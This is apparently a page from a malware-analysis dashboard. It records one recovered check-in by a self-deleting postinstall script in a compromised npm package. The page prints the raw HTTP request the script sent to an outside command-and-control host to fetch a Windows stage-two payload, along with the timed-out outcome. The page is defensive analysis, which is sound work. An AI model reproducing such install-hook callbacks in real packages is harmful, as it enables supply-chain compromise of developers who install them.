Recovered check-in from axius@2.7.1 · 2026-02-10T04:01:54Z (T+1434s)
Recovered request
GET /stage2/windows HTTP/1.1
Host: cdn-metrics-relay.net:9200
X-Campaign-Id: cl-h6jkxv6p
User-Agent: node-fetch/1.0
X-Forwarded-For: 192.0.2.34
Handler outcome
- Source IP
- 192.0.2.34
- Detected platform
- windows
- Check-in time
- 2026-02-10T04:01:54Z
- Stage2 outcome
-
timeout (no response recorded)
This is the single recovered postinstall run for this host, cipher-lite-js's `setup.js`
executes once and self-deletes; there is no ongoing implant to inspect beyond this one request.
See this campaign's Stage 2 Payload tab for the config
this response would have carried.
← back to axius@2.7.1